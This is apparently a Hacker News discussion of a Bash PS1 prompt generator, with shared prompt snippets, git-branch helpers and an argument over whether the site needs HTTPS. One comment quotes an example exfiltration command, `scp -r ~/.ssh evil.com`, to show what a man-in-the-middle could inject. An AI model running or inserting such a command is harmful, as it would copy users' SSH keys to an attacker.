145 comments

[ 6.2 ms ] story [ 187 ms ] thread
No https.
While https is a good default, and LetsEncrypt has made it relatively trivial, I wouldn't say this particularly needs it; there isn't any user data at all.

I suppose without TLS it could be intercepted and modified to return a malicious bash command, or something, but this random site on the internet could do that on its own without being intercepted anyway.

> but this random site on the internet could do that on its own without being intercepted anyway.

Who has more incentive to do so: the person that wants their site to have visitors, or a malicious attacker intent on MITM people in the first place?

What a ridiculous defense of insecurity.

Always having https removes the need to consider the security implications of unencrypted transport on case-by-case basis.

I have been using HTTPS Everywhere extension and currently Firefox's HTTPS-Only feature in strict mode for a long time. Nowadays few links fail to work for me, so the failing ones stand out.

Me too. Out of curiosity, I also added a user style sheet (via Stylus) to mark HTTP links:

  :where(:link[href^="http:"])::after {
    content: " [http]";
    color: red;
    text-decoration: none;
  }
(I use the :where(…) wrapping so that any site actually trying to use :link::after for real stuff can override my styles without specificity conflicts.)

It’s interesting especially to see how often https: sites have http: links to their own domain, which are just going to get redirected back to the https:. (The HN footer has the “Legal” and “Apply to YC” links being to http://www.ycombinator.com/* for no good reason, a very similar case.)

And how horribly many emails use http: tracking links, and how painfully many of those domains don’t speak HTTPS.

HN’s front page normally has 0–2 out of 30 of the links being HTTP, almost always old domains. It’s fairly rare for a new site to go plain HTTP.

> I wouldn't say this particularly needs it; there isn't any user data at all. > I suppose without TLS it could be intercepted and modified to return a malicious bash command, or something

A hacked version doesn't have to return a variation of what's on the page already. There's lots of sneaky things you could return, like a malware download pretending to be a Bash PS1 setup script, a fake GitHub based sign-up to harvest login details, a payment form for a fake product, or a simple redirect to another malicious site.

(comment deleted)
> I wouldn't say this particularly needs it; there isn't any user data at all.

I use NoScript. This page requires me to enable JavaScript for it to work. Because it doesn't use TLS, this allows any miscreant in the middle to injected JS doing god-knows-what into my browser.

If you really insist (in this case IMO understandable) on having me download and run your program, written in a turing complete scripting language, please let me do so in a way where I can be sure it is actually your program (assuming I trust you that far; which for most people I don't, hence NoScript).

But no one is insisting.
"It must turn on the JavaScript, or it gets the blank page again" - The Silence of the LAMPs

--

https://en.wiktionary.org/wiki/insist#Verb

Wiktionary is a website that has improved functionality after turning on JavaScript, but works just fine without it. It does not insist on using JavaScript.

I guess what you actually mean is "no one is insisting on me looking at their website"? That would be true, but I don't recall making any contrary claims.

If I do want to look at a website, the site insists on using JavaScript, but does not use HTTPS, that can be a security issue. That's what my original comment tries to point out.

> I suppose without TLS it could be intercepted and modified to return a malicious bash command, or something, but this random site on the internet could do that on its own without being intercepted anyway.

Those are two completely different attack surfaces. You should be able to trust a single site without having to trust every other hop on the Internet and a good reason why TLS should be used here.

This is a website which serves the sole purpose of encouraging people to copy snippets of text and paste them into their terminal, and there are plenty of techniques that ensure what you see on the page isn't what gets into your clipboard.
Or use starship...
It's too bloated. It has all kinds of built-in stuff with ugly defaults instead of just providing a framework with plugins.
It can be configured and the default has to be something. The main problem is that it’s just too slow, at least in my experience. Even stripped of some bloat it can take >1s to get the prompt printed. Not worth it, at all.
This has not been my experience at all.

Then again, I only use 5 of all the plugins available.

Same experience. It also hurts me that support for so many things is baked-in!
If you like framework and plugins, try my own angel-PS1.

https://github.com/dolmen/angel-PS1

Contrary to Starship, angel-PS1 gets all static information at startup time (ex: hostname, username) and rebuilds only the dynamic information. And for that dynamic information it uses an angel companion instead of forking and loading the configuration file for every prompt display.
Starship is the only prompt I've used that has (a) sane defaults, (b) cross platform support as well as ease of installation, and (c) good enough speed. Powerline is much slower, and I lose my serenity everytime I have to fiddle with dotfiles.
Nice, but there is a bug: if you add @ and then remove it, the @ still stays.
Lovely idea!

Now please add some examples, so it's easier to get started with something to modify. :)

Notes:

* As an idea, this is excellent. It's intuitive to use and provides full instructions on how to implement

* Putting an element in any other position than the end of the prompt is fiddly.

* I'd love for the option to to be able to colour elements.

* More advanced or exotic element types such as Git Branch would be excellent (Not sure if Bash supports this, but I've seen it in some shells)

double click an element to change the color
Aha! Thank you!
Bash do support git branch name and whatnot. That what got me into PS1 customization.
There's one prompt in ZSH, the adam2 prompt[1], that I completely fell in love with due to the automatic horizontal rule since it makes tracing histories so much easier when dealing with long-scrolling outputs. I've never been able to find a similar feature in another prompt/shell, nor have I had the inclination to try and replicate it, but I'd be much more inclined to switch shells/try new prompts if that were available.

[1]: https://imgur.com/1X9bY8X

The tide prompt for fish has an option to add a horizontal rule and spaces between each command
A wonderful fusion of Web and CLI. I think this hybrid could be a rich seam.
Normally I don't post much about how a site should use HTTPS on HN, but for this specific instance I think it's important.
why?
I assume they are saying that because you wouldn't want something where someone could do a MITM and insert arbitrary bash commands through $() or other similar things
If the outputted prompt contains something like `scp -r ~/.ssh evil.com`, folks may not notice or be savvy enough to recognize that it is malicious. A MITM attacker could quite easily implement this.
It's also possible to hide the characters entirely so they don't appear visually but are part of the clipboard.
I agree. If the maintainer is here, you can use certbot to add HTTPS easily on your existing Apache 2/Debian stack. If you're on Stretch or Buster the official instructions are the same: https://certbot.eff.org/lets-encrypt/debianstretch-apache

One note: I hate snaps and don't use them personally, but it would make it very easy for you to add HTTPS without changing your existing stack.

Here's what I'm currently rocking:

    0 0:00:00
    ~/Code/company/app$
First number is exit code of previous command, second is how long it took. Credit to https://unix.stackexchange.com/questions/252229/ps1-prompt-t... for the last part. It's a bit ratchet:

- I actually don't care about the exit code unless it was non-zero

- It calculates the delta three times

but I've been to busy to optimise it.

    prompt_command() {
      _PS1_now=$(printf '%(%s)T')
      PS1=$( printf "\n\$? \[\e%02d:%02d:%02d \n\[\033[01;34m\]\w\[\033[00m\]\$ " \
              $((  ( _PS1_now - _PS1_lastcmd ) / 3600))         \
              $(( (( _PS1_now - _PS1_lastcmd ) % 3600) / 60 )) \
              $((  ( _PS1_now - _PS1_lastcmd ) % 60))           \
          )
      _PS1_lastcmd=$_PS1_now
    }
    PROMPT_COMMAND='prompt_command'
    _PS1_lastcmd=$(printf '%(%s)T')
Here's what I'm currently rolling:

  $
A colorful prompt appears, only when 'user or hostname or path' changes, or after certain commands:

  - username@hostname:pwd
  $
Somewhere in .bash_aliases ...

  ### PROMPT ###

  ### long prompt (in color) only when 'user or hostname or path' changes, or after certain commands
  prompt_command () 
  { 
    local -a a;
    local last_cmd;
    IFS=' ' read -r -d '' -a a < <( history 1 );
    last_cmd="$(printf "%s" "${a[1]}"|xargs -0)";
    if [ "$USER_HOSTNAME_PWD" != "$USER@$HOSTNAME:$PWD" ] || [[ " cd src doc ssh sudo su login $(sed -e '/^#.*$/d' -e '/^$/d' -e 's@^.*/@@' /etc/shells|uniq|xargs) " == *" ${last_cmd} "* ]]; then
        USER_HOSTNAME_PWD="$USER@$HOSTNAME:$PWD";
        echo -e "\\e7\\e(B\\e[m- \\e[3$((($(id -u) != 0) + 1))m${USER}\\e(B\\e[m@\\e[35m${HOSTNAME%%.*}\\e(B\\e[m:\\e[36m${PWD/#$HOME/\~}\\e8";
    fi
  }
  -() { unset USER_HOSTNAME_PWD
  }
  PROMPT_COMMAND=prompt_command
  PS1='$ ';[ "$(id -u)" -eq 0 ] && PS1='# '
I think the drag-n-drop UI is less intuitive. Wasted a few minutes trying to click these items as "buttons" and wondering if there's something wrong because of the http-onlyness of the site (console gives a lot of warning).
Yea, why not just have "double-click" as "add this element to the end of input".
does it work on mobile? I couldn't get it to. By coincidence I need to update PS1 on a bunch of servers today, nice idea.

Exit status should defo be in the default in all distros.

Why not just single click?
Thank you for that. I've been clicking and thought it was broken.
Shame is not single click, I thought it was broken on mobile because nothing happened when I click, then I knew it doesn't work on mobile when I realised it's drag and drop.
current git branch is missing (helps me to avoid working on the wrong branch). (tried to do it with colors, but things got too messy). I never managed to work with colors in bash propmts; they look different on each environment.

  parse_git_branch() {
    git branch 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/ (\1)/'
  }

  PS1="[\u@\h \W\$(parse_git_branch)]\$ "
You might want to use `git rev-parse --abbrev-ref HEAD` or `git name-rev --name-only HEAD` instead of `git branch`. Plumbing commands (such as rev-parse or name-ref) are generally more interface-stable to use in a script than porcelain commands (such as git branch) which are designed for interactive use where output may change depending on user environment and configuration.
I’ve heard this advice given before and initially followed it but ‘git branch’ and parsing the output works in a few cases (I don’t recall what they are at this time) that less hackey approaches don’t.
I think that might be `git symbolic-ref` which doesn't work in detached HEAD state (e.g. when checking out a commit) whereas `git rev-parse --abbrev-ref` will print "HEAD". On the other hand, `git name-rev` will try to find the nearest named ref (including tags) and how far HEAD is from that named ref (e.g. master~1).

Internally, symbolic-ref resolve the ref in the same way as git branch, just without handling detached HEAD. __git_ps1 use a combination of rev-parse, symbolic-ref and git describe to provide a more interesting output for displaying state of the working directory.

To have the similar output for detached HEAD as git-status (e.g. "HEAD detached at fa0c4e1") then probably `git rev-parse --abbrev-rev` and `git rev-parse --short` should be used together. Unfortunately, while rev-parse can print multiple output in a single command, abbrev-rev and short cannot be used together. In such case, parsing `git status` might indeed be more suitable as it spawn only one executable instead of two.

Some porcelain commands do have --porcelain flag to ensure the stability of the interface, though (e.g. `git status --porcelain=v1`).

This is my prompt that shows my git branch, AWS_PROFILE etc:

    if [ "$color_prompt" = yes ]; then
        PS1='\[\033[0;32m\]\[\033[0m\033[0;32m\]\u\ 
        [\033[0;36m\] @ \[\033[0;36m\]\h \w\ 
        [\033[0;32m\]$(__git_ps1)\n\[\033[0;32m\]└─\ 
        [\033[0m\033[0;32m\] \$\[\033[0m\033[0;32m\] 
        AWS:${AWS_PROFILE} ▶\[\033[0m\] '
    else
        PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
    fi
This is the PS1 I've been using for a long time:

export PS1="\n\$(kube_ps1)\n\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[0;31m\]\$(__git_ps1)\n\$\[\033[00m\] "

Note it needs the git-prompt.sh script (usually comes with the bash-completion package), and the kube-ps1 script: https://github.com/jonmosco/kube-ps1

It will show you the current kubernetes profile and namespace, user@host, current directory and git branch if you're in a git repo.

I recently added a count of stashes (in red) following the branch name, and I've been liking it.
Somewhat related to PS1 is PS4 in bash.

Make your trace output more useful/verbose in your scripts:

  set -x
  export PS4='+ ${BASH_SOURCE:-}:${FUNCNAME[0]:-}:L${LINENO:-}:   '
This will print the filename, function name, line number, and line content during execution.
In case someone wonders, this does retain the repeated "+" to indicate call depth: "The first character of PS4 is replicated multiple times, as necessary, to indicate multiple levels of indirection." -- this is an important feature when working on large-ish (1-10+k LoC) scripts, which end up having very deep call stacks and a flat trace output would be completely inscrutable.
If you have 10k LoC Bash scripts, then you’ve got bigger problems!
I've run the bash 10k and all I got was this shirt!
Overall it's more like 150k LoC or something like that (split into the classic three layer architecture: "scripts", "library" and "more scripts on top"). It does work though. Much better than you'd expect from hearing "tens of thousands of lines of shell".
Am I the only one who leaves mine as is?
I do for my linux systems, but I now have to use a Mac for work and can't stand the default. Happy to use this tool to spitball something new.
Do you use Linux as your main OS on your desktop or laptop. If so, how much do you use the terminal and what for?
I use a Mac connected to various Linux nodes via ssh. Development and sysadmin work.
Well, the default prompt you have may already have been customized by operating system vendor (Linux distro) and not be the real bash default.

Try this to get the real default:

    PS1='[\u@\h \W]\$ '
I've found having my current git branch shown in my prompt is extremely useful to prevent committing on the wrong branch. YMMV.
That’s pretty handy actually. Thanks for the idea.
I leave the one on remote hosts the same. I work mostly on a terminal in my laptop locally and mostly just have the time and the command number listed so I can see things in the scrollback.
Was expecting this:

   ________________
  |   |,"    `.|   | SgH
  |   /  SONY  \   |
  |O _\   />   /_  |   ___ _
  |_(_)'.____.'(_)_|  (")__(")
  [___|[=]__[=]|___]  //    \\
On the site all prompt variables end in "tput sgr0". I haven't seen that before. What does that do and why is it needed?
`tput sgr0` reads terminfo to find out how to issue a command which resets all currently set colors, text properties, and so on, then resets them. A lot of people will do something like `echo -e '\E[32;46m'`, but that's arguably more opaque and definitely not portable across terminals.

tput is a neat command that I wish got used more! I also use `tput cnorm` to ensure the cursor is visible.

tput query a terminfo database and return an escape code suitable for that $TERM. sgr0 is the name for "reset" (e.g. "\033[0;10m" in ANSI). Using tput instead of escape code directly is better in a lot of ways. For example, it allows the shell script to be adaptive to the type of TERM it runs on (e.g. not outputting color codes at all if TERM doesn't support colors).

You can see what each tput commands are doing by running infocmp. Most TERM implement ANSI-compatible escape codes, but may prefer other escape codes for the same effect (e.g. try comparing `infocmp -1 ansi` and `infocmp -1 xterm` and `infocmp -1 screen`). You can see the entire list of these commands in terminfo(5) (`man 5 terminfo`) in Predefined Capabilities section.

tput uses the terminfo database which is usually located in /usr/share/terminfo.

If your terminal ($TERM) is not known to the operating system, you can also import the terminfo definition from another OS in a directory and point the TERMINFO environment variable to it (useful if the legacy OS you connect to via SSH doesn't have full support for your fancy terminal emulator).

Others explained why. But, it’s not really been necessary since maybe the early 90s, unless you have hardware terminals around?

It’s more efficient to echo CSI 0m, in shell than to run another process to do the same. Every mainstream terminal supports it.

Rather than turn off all attributes with "tput sgr0", instead I Save Cursor with "tput sc" at the beginning to save attributes, and Restore Cursor with "tput rc" at the end to restore attributes.

Save and Restore cursor doesn't always work because I don't necessarily need the vertical position restored, for example:

  ls_color () { 
    tput sc;
    /bin/ls --color=auto "$@";
    push_cursor_position;
    tput rc;
    pop_cursor_position
  }
I've been using this for years (output of 'echo $PS1' ):

  [\e[1;33m\u\e[1;32m@\e[1;31m\H \e[1;36m\t\e[0m]
  [\e[1;35m\w\e[0m](\e[1;32m\#\e[0m                                               
  )\n$
which presents as:

  [User@HOST 10:21:07][~](2)
  $
(Username, hostname, 24 hour local time, CWD, history count, newline, prompt)

More detail from my .bashrc:

  # Define some colors first:
  red='\e[0;31m'
  RED='\e[1;31m'
  blue='\e[0;34m'
  BLUE='\e[1;34m'
  cyan='\e[0;36m'
  CYAN='\e[1;36m'
  green='\e[0;32m'
  GREEN='\e[1;32m'
  NC='\e[0m' # No Color
  yellow='\e[0;33m'
  magenta='\e[0;35m'
  YELLOW='\e[1;33m'
  MAGENTA='\e[1;35m'
  export PS1="[${YELLOW}\u${GREEN}@${RED}\H ${CYAN} 
  \t$NC][${MAGENTA}\w$NC](${GREEN}\#$NC)\n\$ "
I define the colors as it makes it easier to modify PS1 when the spirit moves me.

I guess using a generator or toolkit could be useful, but I tweaked mine over the years and prefer it just this way.

Edit: I forgot to mention that I use different colors for user vs. root prompts, as that gives immediate visual confirmation of privilege level.

What do you use the history count for?
That tells one the index to use for !N to repeat that command

!! repeats the last command

!N repeats the command with that index in the history

I usually place the time at the beginning. Another thing to place at the beginning is a (red) exit code of the last command, when that code is not 0.
You need to add some \[ and \] around the escape codes to tell the shell they’re non-printing characters. Otherwise, things like line-wrapping don’t work right. It’s not a problem because of your \n makes it irrelevant, but just a heads up for the future.
What is the best way to have the long directory line above the prompt? Using PS2 or PS3?
Something like "\w\n\$ " should work; mine is more complex by the idea holds, you can have a \n in your PS1 just fine.
I'm not a fan of multiline prompts but I do like knowing where I am, so I trim the path and prepend a "…" character.
All this stuff is easy to remember. I want colors so bad.

You could even have colors be containers you put other elements inside to make it easier to visualize

It has colors - double click on an element after dragging it into "your selection"
Use https://starship.rs/ abs get the same prompt in all your shells. Also it’s written in rust, so it’s faster than a load of bash scripts.
Absolutely a quality of life tool. Very few excuses left to put up with zsh + Oh-My-Zash.
I mean, the other alternative is just keep your prompt simple. ;-)
This. The one time a month when I can't remember which git branch I'm on I'll just run 'git branch'. If you're feeling frisky, you could even alias that to 'gb'.
One time a month? Currently I have 85 work related repositories checked out, putting the current git branch and current Kubernetes context in the prompt is helping to avoid mistakes.

I also have a newline in my prompt which makes it easier to copy commands and output into Jira.

85 repos seems like so many. Are you making many changes that need to span across multiple? How many are touched over the course of a week?
I'm guessing this place is not using mono-repo. ;-)
I don't have 85 repo but 5 worktree were enough to make me do some errors, so I print the 'environment' configured and the current path but that wasn't enough so now I 'invert' the colors if the current directory doesn't match the environement variables --> no more errors
>you could even alias that to 'gb'.

oh-my-zsh does this by default as it comes with the "git" plugin loaded. "gb -vv" is a common thing I run.